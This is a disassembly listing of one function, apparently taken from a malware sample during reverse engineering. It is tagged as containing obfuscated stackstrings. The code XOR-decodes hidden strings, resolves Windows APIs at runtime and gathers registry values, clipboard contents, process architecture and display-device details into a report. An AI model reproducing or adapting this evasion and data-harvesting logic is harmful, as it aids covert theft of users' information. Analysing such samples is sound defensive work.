Function at 0x45eabc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x487015
call fcn.00486b34
sub esp, 0xce0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
wait
movaps xmm0, xmmword [0x49d8b0]
movups xmmword [ebp - 0x4b1], xmm0
movaps xmm0, xmmword [0x49d8d0]
movups xmmword [ebp - 0x4a1], xmm0
mov dword [ebp - 0x491], 0x2e382a2e
mov byte [ebp - 0x48d], bl
mov ecx, ebx
mov dword [ebp - 0x354], ecx
cmp ecx, 0x23
jae 0x45eb2a
mov al, byte [ebp + ecx - 0x4b0]
xor al, byte [ebp - 0x4b1]
mov byte [ebp + ecx - 0x4b0], al
inc ecx
jmp 0x45eb08
mov byte [ebp - 0x48d], bl
lea eax, [ebp - 0x4b0]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403ae8
push 4
push str._r_n_r_n
lea ecx, [ebp - 0x1d4]
call fcn.00403c55
mov dl, 0x67
mov dword [ebp - 0x7d], 0x2143267
mov dword [ebp - 0x79], 0x6094715
mov dword [ebp - 0x75], 0x475d020a
mov byte [ebp - 0x71], bl
mov ecx, ebx
mov dword [ebp - 0x358], ecx
cmp ecx, 0xb
jae 0x45eb91
mov al, byte [ebp + ecx - 0x7c]
xor al, dl
mov byte [ebp + ecx - 0x7c], al
inc ecx
mov dword [ebp - 0x358], ecx
mov dl, byte [ebp - 0x7d]
jmp 0x45eb76
mov byte [ebp - 0x71], bl
lea eax, [ebp - 0x9a4]
push eax
mov ecx, edi
call fcn.00457d5d
mov edx, eax
lea ecx, [ebp - 0x7c]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45ebaa
sub ecx, esi
push ecx
lea eax, [ebp - 0x7c]
push eax
push ebx
mov ecx, edx
call fcn.004041ae
push eax
lea ecx, [ebp - 0x574]
call fcn.00403ab7
push 2
push 0x49d300
lea ecx, [ebp - 0x574]
call fcn.00403c55
push eax
lea ecx, [ebp - 0x844]
call fcn.00403ab7
lea eax, [ebp - 0x844]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403a4b
lea ecx, [ebp - 0x844]
call fcn.00403b2e
lea ecx, [ebp - 0x574]
call fcn.00403b2e
lea ecx, [ebp - 0x9a4]
call fcn.00403b2e
mov dl, 0x25
mov dword [ebp - 0xf7], 0x60767025
mov dword [ebp - 0xf3], 0x686a6177
mov dword [ebp - 0xef], 0x6b6c64
mov ecx, ebx
mov dword [ebp - 0x35c], ecx
cmp ecx, 0xa
jae 0x45ec69
mov al, byte [ebp + ecx - 0xf6]
xor al, dl
mov byte [ebp + ecx - 0xf6], al
inc ecx
mov dword [ebp - 0x35c], ecx
mov dl, byte [ebp - 0xf7]
jmp 0x45ec45
mov byte [ebp - 0xec], bl
lea eax, [ebp - 0xf6]
push eax
lea ecx, [ebp - 0x4e4]
call fcn.00403ae8
lea ecx, [ebp - 0x4e4]
call fcn.004039e7
push eax
call fcn.0046e9c4
pop ecx
test eax, eax
jne 0x45edac
mov dl, 0x4a
mov word [ebp - 0x149], 0x94a
push 5
pop ebx
mov byte [ebp - 0x147], bl
mov dword [ebp - 0x146], 0x1e1f1a07
mov dword [ebp - 0x142], 0xb04180f
mov word [ebp - 0x13e], 0xf07
mov byte [ebp - 0x13c], al
xor ecx, ecx
mov dword [ebp - 0x360], ecx
cmp ecx, 0xc
jae 0x45ecfe
mov al, byte [ebp + ecx - 0x148]
xor al, dl
mov byte [ebp + ecx - 0x148], al
inc ecx
mov dword [ebp - 0x360], ecx
mov dl, byte [ebp - 0x149]
jmp 0x45ecda
mov byte [ebp - 0x13c], 0
lea eax, [ebp - 0x148]
push eax
call fcn.0046e9c4
pop ecx
test eax, eax
je 0x45eddc
mov dl, 0x4a
mov word [ebp - 0x1b9], 0x94a
mov byte [ebp - 0x1b7], bl
mov dword [ebp - 0x1b6], 0x1e1f1a07
mov dword [ebp - 0x1b2], 0xb04180f
mov word [ebp - 0x1ae], 0xf07
mov byte [ebp - 0x1ac], 0
xor ecx, ecx
mov dword [ebp - 0x364], ecx
cmp ecx, 0xc
jae 0x45ed7b
mov al, byte [ebp + ecx - 0x1b8]
xor al, dl
mov byte [ebp + ecx - 0x1b8], al
inc ecx
mov dword [ebp - 0x364], ecx
mov dl, byte [ebp - 0x1b9]
jmp 0x45ed57
mov byte [ebp - 0x1ac], 0
lea eax, [ebp - 0x1b8]
push eax
call fcn.0046e9c4
pop ecx
mov edx, eax
lea esi, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x45ed94
sub edx, esi
push edx
push eax
lea ecx, [ebp - 0x4e4]
call fcn.00403c0c
jmp 0x45eddc
lea ecx, [ebp - 0x4e4]
call fcn.004039e7
push eax
call fcn.0046e9c4
pop ecx
mov edx, eax
lea esi, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x45edc3
sub edx, esi
push edx
push eax
lea ecx, [ebp - 0x4e4]
call fcn.00403c0c
push 5
pop ebx
movaps xmm0, xmmword [0x49d6a0]
movups xmmword [ebp - 0x461], xmm0
xor ecx, ecx
mov dword [ebp - 0x368], ecx
cmp ecx, 0xe
jae 0x45ee0e
mov al, byte [ebp + ecx - 0x460]
xor al, byte [ebp - 0x461]
mov byte [ebp + ecx - 0x460], al
inc ecx
jmp 0x45edec
mov byte [ebp - 0x452], 0
lea eax, [ebp - 0x4e4]
push eax
lea edx, [ebp - 0x460]
lea ecx, [ebp - 0x9bc]
call fcn.00462a8c
pop ecx
push 2
push 0x49d300
mov ecx, eax
call fcn.00403c55
push eax
lea ecx, [ebp - 0x58c]
call fcn.00403ab7
lea eax, [ebp - 0x58c]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403a4b
lea ecx, [ebp - 0x58c]
call fcn.00403b2e
lea ecx, [ebp - 0x9bc]
call fcn.00403b2e
mov dl, 0x6b
mov dword [ebp - 0x8b], 0x4b38246b
mov dword [ebp - 0x87], 0x18190e1d
mov word [ebp - 0x83], 0x402
mov byte [ebp - 0x81], bl
mov word [ebp - 0x80], 0x4b51
xor ebx, ebx
mov byte [ebp - 0x7e], bl
mov ecx, ebx
mov dword [ebp - 0x36c], ecx
cmp ecx, 0xc
jae 0x45eecc
mov al, byte [ebp + ecx - 0x8a]
xor al, dl
mov byte [ebp + ecx - 0x8a], al
inc ecx
mov dword [ebp - 0x36c], ecx
mov dl, byte [ebp - 0x8b]
jmp 0x45eea8
mov byte [ebp - 0x7e], bl
lea ecx, [ebp - 0x8a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45eed8
sub ecx, edx
push ecx
lea eax, [ebp - 0x8a]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403c55
push 0x494070
lea ecx, [ebp - 0x48c]
call fcn.00403ae8
movaps xmm0, xmmword [0x49da40]
movups xmmword [ebp - 0x430], xmm0
movaps xmm0, xmmword [0x49dc60]
movups xmmword [ebp - 0x420], xmm0
mov dword [ebp - 0x410], 0x5f48484f
push 0x54
pop eax
mov byte [ebp - 0x40c], al
mov dword [ebp - 0x40b], 0x485f6c4e
mov word [ebp - 0x407], 0x5349
mov byte [ebp - 0x405], 0x55
mov byte [ebp - 0x404], al
mov byte [ebp - 0x403], bl
mov ecx, ebx
mov dword [ebp - 0x370], ecx
cmp ecx, 0x2c
jae 0x45ef7d
mov al, byte [ebp + ecx - 0x42f]
xor al, byte [ebp - 0x430]
mov byte [ebp + ecx - 0x42f], al
inc ecx
jmp 0x45ef5b
mov byte [ebp - 0x403], bl
mov dl, 0x7b
mov dword [ebp - 0x13b], 0xd1f3a7b
mov dword [ebp - 0x137], 0x48120b1a
mov dword [ebp - 0x133], 0x171f5549
mov word [ebp - 0x12f], 0x17
mov ecx, ebx
mov dword [ebp - 0x3ac], ecx
cmp ecx, 0xc
jae 0x45efd8
mov al, byte [ebp + ecx - 0x13a]
xor al, dl
mov byte [ebp + ecx - 0x13a], al
inc ecx
mov dword [ebp - 0x3ac], ecx
mov dl, byte [ebp - 0x13b]
jmp 0x45efb4
mov byte [ebp - 0x12e], bl
lea eax, [ebp - 0x1d8]
push eax
lea eax, [ebp - 0x42f]
push eax
push 0x80000002
mov edx, str.RegOpenKeyA
lea ecx, [ebp - 0x13a]
call fcn.004014d2
call eax
mov dl, 0x70
mov dword [ebp - 0x50], 0x1b1e2570
mov dword [ebp - 0x4c], 0x1e071f1e
mov word [ebp - 0x48], 0x50
mov ecx, ebx
mov dword [ebp - 0x3c4], ecx
cmp ecx, 8
jae 0x45f03c
mov al, byte [ebp + ecx - 0x4f]
xor al, dl
mov byte [ebp + ecx - 0x4f], al
inc ecx
mov dword [ebp - 0x3c4], ecx
mov dl, byte [ebp - 0x50]
jmp 0x45f021
mov byte [ebp - 0x47], bl
lea eax, [ebp - 0x4f]
push eax
lea ecx, [ebp - 0x5bc]
call fcn.00403ae8
mov dl, 0x2e
mov dword [ebp - 0x120], 0x415c7e2e
mov dword [ebp - 0x11c], 0x5a4d5b4a
mov dword [ebp - 0x118], 0x4b434f60
mov byte [ebp - 0x114], bl
mov ecx, ebx
mov dword [ebp - 0x3c8], ecx
cmp ecx, 0xb
jae 0x45f0a0
mov al, byte [ebp + ecx - 0x11f]
xor al, dl
mov byte [ebp + ecx - 0x11f], al
inc ecx
mov dword [ebp - 0x3c8], ecx
mov dl, byte [ebp - 0x120]
jmp 0x45f07c
mov byte [ebp - 0x114], bl
lea eax, [ebp - 0x11f]
push eax
lea ecx, [ebp - 0x5a4]
call fcn.00403ae8
lea eax, [ebp - 0x5bc]
push eax
lea eax, [ebp - 0x48c]
push eax
lea eax, [ebp - 0x5a4]
push eax
push dword [ebp - 0x1d8]
mov ecx, edi
call fcn.00458a0c
lea ecx, [ebp - 0x5a4]
call fcn.00403b2e
lea ecx, [ebp - 0x5bc]
call fcn.00403b2e
mov dl, 0x1c
mov dword [ebp - 0x5a], 0x7772491c
mov dword [ebp - 0x56], 0x726b7372
mov word [ebp - 0x52], 0x3c
mov ecx, ebx
mov dword [ebp - 0x3cc], ecx
cmp ecx, 8
jae 0x45f129
mov al, byte [ebp + ecx - 0x59]
xor al, dl
mov byte [ebp + ecx - 0x59], al
inc ecx
mov dword [ebp - 0x3cc], ecx
mov dl, byte [ebp - 0x5a]
jmp 0x45f10e
mov byte [ebp - 0x51], bl
lea eax, [ebp - 0x59]
push eax
lea ecx, [ebp - 0x48c]
call fcn.0040412c
test al, al
jne 0x45f151
push 1
push 0x4971a4
lea ecx, [ebp - 0x48c]
call fcn.00403c55
push 0x29
pop ebx
mov dl, bl
mov byte [ebp - 0x157], dl
mov dword [ebp - 0x156], 0x485f4d68
mov dword [ebp - 0x152], 0x1b1a4059
mov dword [ebp - 0x14e], 0x45454d07
mov byte [ebp - 0x14a], 0
xor ecx, ecx
mov dword [ebp - 0x3d0], ecx
cmp ecx, 0xc
jae 0x45f1ad
mov al, byte [ebp + ecx - 0x156]
xor al, dl
mov byte [ebp + ecx - 0x156], al
inc ecx
mov dword [ebp - 0x3d0], ecx
mov dl, byte [ebp - 0x157]
jmp 0x45f189
mov byte [ebp - 0x14a], 0
push dword [ebp - 0x1d8]
mov edx, str.RegCloseKey
lea ecx, [ebp - 0x156]
call fcn.004014d2
call eax
mov dl, 0x5b
mov word [ebp - 0x165], 0x105b
mov byte [ebp - 0x163], 0x3e
mov byte [ebp - 0x162], bl
mov dword [ebp - 0x161], 0x68373e35
mov dword [ebp - 0x15d], 0x373f7569
mov word [ebp - 0x159], 0x37
xor ecx, ecx
mov dword [ebp - 0x3d4], ecx
cmp ecx, 0xc
jae 0x45f22d
mov al, byte [ebp + ecx - 0x164]
xor al, dl
mov byte [ebp + ecx - 0x164], al
inc ecx
mov dword [ebp - 0x3d4], ecx
mov dl, byte [ebp - 0x165]
jmp 0x45f209
mov byte [ebp - 0x158], 0
mov dl, 0x45
mov dword [ebp - 0x173], 0x37200e45
mov word [ebp - 0x16f], 0x202b
mov byte [ebp - 0x16d], bl
mov dword [ebp - 0x16c], 0x216b7776
mov byte [ebp - 0x168], bl
mov byte [ebp - 0x167], bl
xor ebx, ebx
mov byte [ebp - 0x166], bl
mov ecx, ebx
mov dword [ebp - 0x3d8], ecx
cmp ecx, 0xc
jae 0x45f299
mov al, byte [ebp + ecx - 0x172]
xor al, dl
mov byte [ebp + ecx - 0x172], al
inc ecx
mov dword [ebp - 0x3d8], ecx
mov dl, byte [ebp - 0x173]
jmp 0x45f275
mov byte [ebp - 0x166], bl
lea eax, [ebp - 0x3dc]
push eax
mov edx, 0x49d358
lea ecx, [ebp - 0x164]
call fcn.004014d2
call eax
push eax
mov edx, str.IsWow64Process
lea ecx, [ebp - 0x172]
call fcn.004014d2
call eax
mov ecx, ebx
cmp dword [ebp - 0x3dc], ebx
jne 0x45f317
mov dl, 0x48
mov dword [ebp - 0x20], 0x7a7b3048
mov byte [ebp - 0x1c], bl
mov dword [ebp - 0x3e0], ecx
cmp ecx, 3
jae 0x45f302
mov al, byte [ebp + ecx - 0x1f]
xor al, dl
mov byte [ebp + ecx - 0x1f], al
inc ecx
mov dword [ebp - 0x3e0], ecx
mov dl, byte [ebp - 0x20]
jmp 0x45f2e7
mov byte [ebp - 0x1c], bl
lea ecx, [ebp - 0x1f]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45f30b
lea eax, [ebp - 0x1f]
jmp 0x45f357
mov dl, 0x59
mov dword [ebp - 0x25], 0x6d6f2159
mov byte [ebp - 0x21], bl
mov dword [ebp - 0x2ac], ecx
cmp ecx, 3
jae 0x45f344
mov al, byte [ebp + ecx - 0x24]
xor al, dl
mov byte [ebp + ecx - 0x24], al
inc ecx
mov dword [ebp - 0x2ac], ecx
mov dl, byte [ebp - 0x25]
jmp 0x45f329
mov byte [ebp - 0x21], bl
lea ecx, [ebp - 0x24]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45f34d
lea eax, [ebp - 0x24]
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x48c]
call fcn.00403c55
push str._r_n_r_n
lea edx, [ebp - 0x48c]
lea ecx, [ebp - 0x9d4]
call fcn.00403d39
pop ecx
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403a4b
lea ecx, [ebp - 0x9d4]
call fcn.00403b2e
movaps xmm0, xmmword [str.y:_f_v_v]
movups xmmword [ebp - 0x253], xmm0
mov dword [ebp - 0x243], 0x59431d0b
mov byte [ebp - 0x23f], bl
mov ecx, ebx
mov dword [ebp - 0x350], ecx
cmp ecx, 0x13
jae 0x45f3d6
mov al, byte [ebp + ecx - 0x252]
xor al, byte [ebp - 0x253]
mov byte [ebp + ecx - 0x252], al
inc ecx
jmp 0x45f3b4
mov byte [ebp - 0x23f], bl
lea ecx, [ebp - 0x252]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45f3e5
sub ecx, edx
push ecx
lea eax, [ebp - 0x252]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403c55
mov dl, 0x57
mov dword [ebp - 0xaf], 0x32240257
mov dword [ebp - 0xab], 0x79656425
mov dword [ebp - 0xa7], 0x3b3b33
mov ecx, ebx
mov dword [ebp - 0x2b0], ecx
cmp ecx, 0xa
jae 0x45f44d
mov al, byte [ebp + ecx - 0xae]
xor al, dl
mov byte [ebp + ecx - 0xae], al
inc ecx
mov dword [ebp - 0x2b0], ecx
mov dl, byte [ebp - 0xaf]
jmp 0x45f429
mov byte [ebp - 0xa4], bl
push ebx
mov edx, str.OpenClipboard
lea ecx, [ebp - 0xae]
call fcn.004014d2
call eax
test eax, eax
je 0x45f78d
push 0x27
pop ebx
mov dl, bl
mov byte [ebp - 0xbb], dl
mov dword [ebp - 0xba], 0x55425472
mov dword [ebp - 0xb6], 0x43091514
mov word [ebp - 0xb2], 0x4b4b
mov byte [ebp - 0xb0], 0
xor ecx, ecx
mov dword [ebp - 0x2b4], ecx
cmp ecx, 0xa
jae 0x45f4c9
mov al, byte [ebp + ecx - 0xba]
xor al, dl
mov byte [ebp + ecx - 0xba], al
inc ecx
mov dword [ebp - 0x2b4], ecx
mov dl, byte [ebp - 0xbb]
jmp 0x45f4a5
mov byte [ebp - 0xb0], 0
push 1
mov edx, str.IsClipboardFormatAvailable
lea ecx, [ebp - 0xba]
call fcn.004014d2
call eax
xor ecx, ecx
test eax, eax
je 0x45f726
mov dl, 0xd
mov dword [ebp - 0xa3], 0x687e580d
mov dword [ebp - 0x9f], 0x233f3e7f
mov dword [ebp - 0x9b], 0x616169
mov dword [ebp - 0x2b8], ecx
cmp ecx, 0xa
jae 0x45f538
mov al, byte [ebp + ecx - 0xa2]
xor al, dl
mov byte [ebp + ecx - 0xa2], al
inc ecx
mov dword [ebp - 0x2b8], ecx
mov dl, byte [ebp - 0xa3]
jmp 0x45f514
mov byte [ebp - 0x98], 0
push 1
mov edx, str.GetClipboardData
lea ecx, [ebp - 0xa2]
call fcn.004014d2
call eax
push eax
lea ecx, [ebp - 0x4fc]
call fcn.00403ae8
cmp dword [ebp - 0x4ec], 0x96
jb 0x45f620
mov dl, 0x42
mov dword [ebp - 0x46], 0x4b484f42
mov dword [ebp - 0x42], 0x6c4b4b4b
mov word [ebp - 0x3e], 0x6c6c
mov byte [ebp - 0x3c], 0
xor ecx, ecx
mov dword [ebp - 0x2bc], ecx
cmp ecx, 9
jae 0x45f5ac
mov al, byte [ebp + ecx - 0x45]
xor al, dl
mov byte [ebp + ecx - 0x45], al
inc ecx
mov dword [ebp - 0x2bc], ecx
mov dl, byte [ebp - 0x46]
jmp 0x45f591
mov byte [ebp - 0x3c], 0
lea eax, [ebp - 0x1ba]
push eax
push 0x5f
push 0
lea eax, [ebp - 0x4fc]
push eax
lea ecx, [ebp - 0x5ec]
call fcn.004626d4
lea ecx, [ebp - 0x45]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45f5d3
sub ecx, edx
push ecx
lea eax, [ebp - 0x45]
push eax
lea ecx, [ebp - 0x5ec]
call fcn.00403c55
push eax
lea ecx, [ebp - 0x5d4]
call fcn.00403ab7
lea eax, [ebp - 0x5d4]
push eax
lea ecx, [ebp - 0x4fc]
call fcn.00403a82
lea ecx, [ebp - 0x5d4]
call fcn.00403b2e
lea ecx, [ebp - 0x5ec]
call fcn.00403b2e
movaps xmm0, xmmword [0x49d950]
movups xmmword [ebp - 0x291], xmm0
mov dword [ebp - 0x281], 0x151232
xor ecx, ecx
mov dword [ebp - 0x2c0], ecx
cmp ecx, 0x12
jae 0x45f65c
mov al, byte [ebp + ecx - 0x290]
xor al, byte [ebp - 0x291]
mov byte [ebp + ecx - 0x290], al
inc ecx
jmp 0x45f63a
mov byte [ebp - 0x27e], 0
movaps xmm0, xmmword [0x49dc50]
movups xmmword [ebp - 0x3c0], xmm0
mov dword [ebp - 0x3b0], 0x5f5878
xor ecx, ecx
mov dword [ebp - 0x2c4], ecx
cmp ecx, 0x12
jae 0x45f69f
mov al, byte [ebp + ecx - 0x3bf]
xor al, byte [ebp - 0x3c0]
mov byte [ebp + ecx - 0x3bf], al
inc ecx
jmp 0x45f67d
mov byte [ebp - 0x3ad], 0
lea eax, [ebp - 0x4fc]
push eax
lea edx, [ebp - 0x3bf]
lea ecx, [ebp - 0x9ec]
call fcn.00462a8c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x290]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45f6ca
sub ecx, esi
push ecx
lea eax, [ebp - 0x290]
push eax
mov ecx, edx
call fcn.00403c55
push eax
lea ecx, [ebp - 0x604]
call fcn.00403ab7
lea eax, [ebp - 0x604]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403a4b
lea ecx, [ebp - 0x604]
call fcn.00403b2e
lea ecx, [ebp - 0x9ec]
call fcn.00403b2e
lea ecx, [ebp - 0x4fc]
call fcn.00403b2e
jmp 0x45f7f6
movaps xmm0, xmmword [0x49d7f0]
movups xmmword [ebp - 0x382], xmm0
mov word [ebp - 0x372], 0x14
mov dword [ebp - 0x2c8], ecx
cmp ecx, 0x10
jae 0x45f75f
mov al, byte [ebp + ecx - 0x381]
xor al, byte [ebp - 0x382]
mov byte [ebp + ecx - 0x381], al
inc ecx
jmp 0x45f73d
mov byte [ebp - 0x371], 0
lea ecx, [ebp - 0x381]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45f76f
sub ecx, edx
push ecx
lea eax, [ebp - 0x381]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403c55
jmp 0x45f7f6
movaps xmm0, xmmword [0x49da00]
movups xmmword [ebp - 0x394], xmm0
mov word [ebp - 0x384], 0x43
mov ecx, ebx
mov dword [ebp - 0x2cc], ecx
cmp ecx, 0x10
jae 0x45f7c8
mov al, byte [ebp + ecx - 0x393]
xor al, byte [ebp - 0x394]
mov byte [ebp + ecx - 0x393], al
inc ecx
jmp 0x45f7a6
mov byte [ebp - 0x383], bl
lea ecx, [ebp - 0x393]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45f7d7
sub ecx, edx
push ecx
lea eax, [ebp - 0x393]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403c55
push 0x27
pop ebx
mov dl, 0x67
mov dword [ebp - 0xeb], 0x2143267
mov dword [ebp - 0xe7], 0x49555415
mov dword [ebp - 0xe3], 0xb0b03
xor ecx, ecx
mov dword [ebp - 0x2d0], ecx
cmp ecx, 0xa
jae 0x45f842
mov al, byte [ebp + ecx - 0xea]
xor al, dl
mov byte [ebp + ecx - 0xea], al
inc ecx
mov dword [ebp - 0x2d0], ecx
mov dl, byte [ebp - 0xeb]
jmp 0x45f81e
mov byte [ebp - 0xe0], 0
mov edx, str.CloseClipboard
lea ecx, [ebp - 0xea]
call fcn.004014d2
call eax
movaps xmm0, xmmword [0x49d970]
movups xmmword [ebp - 0x3a6], xmm0
mov word [ebp - 0x396], 0x2d
xor ecx, ecx
mov dword [ebp - 0x2d4], ecx
cmp ecx, 0x10
jae 0x45f896
mov al, byte [ebp + ecx - 0x3a5]
xor al, byte [ebp - 0x3a6]
mov byte [ebp + ecx - 0x3a5], al
inc ecx
jmp 0x45f874
mov byte [ebp - 0x395], 0
lea eax, [ebp - 0xa04]
push eax
mov ecx, edi
call fcn.00457ccc
mov edx, eax
lea ecx, [ebp - 0x3a5]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45f8b6
sub ecx, esi
push ecx
lea eax, [ebp - 0x3a5]
push eax
push 0
mov ecx, edx
call fcn.004041ae
push eax
lea ecx, [ebp - 0x634]
call fcn.00403ab7
push 4
push str._r_n_r_n
lea ecx, [ebp - 0x634]
call fcn.00403c55
push eax
lea ecx, [ebp - 0x61c]
call fcn.00403ab7
lea eax, [ebp - 0x61c]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403a4b
lea ecx, [ebp - 0x61c]
call fcn.00403b2e
lea ecx, [ebp - 0x634]
call fcn.00403b2e
lea ecx, [ebp - 0xa04]
call fcn.00403b2e
push 0x494070
lea ecx, [ebp - 0x55c]
call fcn.00403ae8
lea eax, [ebp - 0x55c]
push eax
mov ecx, edi
call fcn.00458c1d
movaps xmm0, xmmword [0x49dcb0]
movups xmmword [ebp - 0x2a7], xmm0
mov dword [ebp - 0x297], 0x6b766a6a
mov word [ebp - 0x293], 0x6a
xor ecx, ecx
mov dword [ebp - 0x2d8], ecx
cmp ecx, 0x14
jae 0x45f990
mov al, byte [ebp + ecx - 0x2a6]
xor al, byte [ebp - 0x2a7]
mov byte [ebp + ecx - 0x2a6], al
inc ecx
jmp 0x45f96e
mov byte [ebp - 0x292], 0
lea eax, [ebp - 0x2a6]
push eax
lea ecx, [ebp - 0x4cc]
call fcn.00403ae8
lea ecx, [ebp - 0x4cc]
call fcn.004039e7
push eax
call fcn.0046e9c4
pop ecx
test eax, eax
jne 0x45fa3c
mov dl, 0x37
mov dword [ebp - 0x106], 0x56594237
mov dword [ebp - 0x102], 0x17525b55
mov dword [ebp - 0xfe], 0x50175843
mov word [ebp - 0xfa], 0x4352
mov byte [ebp - 0xf8], al
xor ecx, ecx
mov dword [ebp - 0x2dc], ecx
cmp ecx, 0xd
jae 0x45fa1a
mov al, byte [ebp + ecx - 0x105]
xor al, dl
mov byte [ebp + ecx - 0x105], al
inc ecx
mov dword [ebp - 0x2dc], ecx
mov dl, byte [ebp - 0x106]
jmp 0x45f9f6
mov byte [ebp - 0xf8], 0
lea ecx, [ebp - 0x105]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45fa2a
sub ecx, edx
push ecx
lea eax, [ebp - 0x105]
jmp 0x45fa5d
lea ecx, [ebp - 0x4cc]
call fcn.004039e7
push eax
call fcn.0046e9c4
pop ecx
mov edx, eax
lea esi, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x45fa53
sub edx, esi
push edx
push eax
lea ecx, [ebp - 0x4cc]
call fcn.00403c0c
movaps xmm0, xmmword [0x49d700]
movups xmmword [ebp - 0x227], xmm0
mov dword [ebp - 0x217], 0xa030814
mov dword [ebp - 0x213], 0x465c15
xor ecx, ecx
mov dword [ebp - 0x2e0], ecx
cmp ecx, 0x16
jae 0x45faaf
mov al, byte [ebp + ecx - 0x226]
xor al, byte [ebp - 0x227]
mov byte [ebp + ecx - 0x226], al
inc ecx
jmp 0x45fa8d
mov byte [ebp - 0x210], 0
mov dl, 0x3e
mov dword [ebp - 0xdf], 0x6b6e7d3e
mov dword [ebp - 0xdb], 0x5850571e
mov dword [ebp - 0xd7], 0x1e0451
xor ecx, ecx
mov dword [ebp - 0x2e4], ecx
cmp ecx, 0xa
jae 0x45fb02
mov al, byte [ebp + ecx - 0xde]
xor al, dl
mov byte [ebp + ecx - 0xde], al
inc ecx
mov dword [ebp - 0x2e4], ecx
mov dl, byte [ebp - 0xdf]
jmp 0x45fade
mov byte [ebp - 0xd4], 0
lea eax, [ebp - 0x55c]
push eax
lea edx, [ebp - 0xde]
lea ecx, [ebp - 0x89c]
call fcn.00462a8c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x226]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45fb2d
sub ecx, esi
push ecx
lea eax, [ebp - 0x226]
push eax
mov ecx, edx
call fcn.00403c55
push eax
lea ecx, [ebp - 0x664]
call fcn.00403ab7
lea eax, [ebp - 0x4cc]
push eax
lea ecx, [ebp - 0x664]
call fcn.00403a2e
push eax
lea ecx, [ebp - 0x64c]
call fcn.00403ab7
lea eax, [ebp - 0x64c]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403a4b
lea ecx, [ebp - 0x64c]
call fcn.00403b2e
lea ecx, [ebp - 0x664]
call fcn.00403b2e
lea ecx, [ebp - 0x89c]
call fcn.00403b2e
mov dl, 9
mov dword [ebp - 0x2b], 0x4202c09
mov word [ebp - 0x27], 3
xor ecx, ecx
mov dword [ebp - 0x2e8], ecx
cmp ecx, 4
jae 0x45fbd4
mov al, byte [ebp + ecx - 0x2a]
xor al, dl
mov byte [ebp + ecx - 0x2a], al
inc ecx
mov dword [ebp - 0x2e8], ecx
mov dl, byte [ebp - 0x2b]
jmp 0x45fbb9
mov byte [ebp - 0x26], 0
movaps xmm0, xmmword [str.fFN_]
movups xmmword [ebp - 0x23e], xmm0
mov dword [ebp - 0x22e], 0x3010715
mov word [ebp - 0x22a], 0x465c
mov byte [ebp - 0x228], 0
xor ecx, ecx
mov dword [ebp - 0x2ec], ecx
cmp ecx, 0x15
jae 0x45fc24
mov al, byte [ebp + ecx - 0x23d]
xor al, byte [ebp - 0x23e]
mov byte [ebp + ecx - 0x23d], al
inc ecx
jmp 0x45fc02
mov byte [ebp - 0x228], 0
lea eax, [ebp - 0x8b4]
push eax
mov ecx, edi
call fcn.00458cde
mov edx, eax
lea ecx, [ebp - 0x23d]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45fc44
sub ecx, esi
push ecx
lea eax, [ebp - 0x23d]
push eax
push 0
mov ecx, edx
call fcn.004041ae
push eax
lea ecx, [ebp - 0x694]
call fcn.00403ab7
lea ecx, [ebp - 0x2a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45fc70
sub ecx, edx
push ecx
lea eax, [ebp - 0x2a]
push eax
lea ecx, [ebp - 0x694]
call fcn.00403c55
push eax
lea ecx, [ebp - 0x67c]
call fcn.00403ab7
lea eax, [ebp - 0x67c]
push eax
lea ecx, [ebp - 0x1d4]
call fcn.00403a4b
lea ecx, [ebp - 0x67c]
call fcn.00403b2e
lea ecx, [ebp - 0x694]
call fcn.00403b2e
lea ecx, [ebp - 0x8b4]
call fcn.00403b2e
mov dword [ebp - 0xcec], 0x1a8
mov dl, 0xa
mov dword [ebp - 0xd3], 0x6f795f0a
mov dword [ebp - 0xcf], 0x24383978
mov dword [ebp - 0xcb], 0x66666e
xor ecx, ecx
mov dword [ebp - 0x2f0], ecx
cmp ecx, 0xa
jae 0x45fd1e
mov al, byte [ebp + ecx - 0xd2]
xor al, dl
mov byte [ebp + ecx - 0xd2], al
inc ecx
mov dword [ebp - 0x2f0], ecx
mov dl, byte [ebp - 0xd3]
jmp 0x45fcfa
xor ecx, ecx
mov byte [ebp - 0xc8], cl
push 1
lea eax, [ebp - 0xcec]
push eax
push ecx
push ecx
mov edx, str.EnumDisplayDevicesA
lea ecx, [ebp - 0xd2]
call fcn.004014d2
call eax
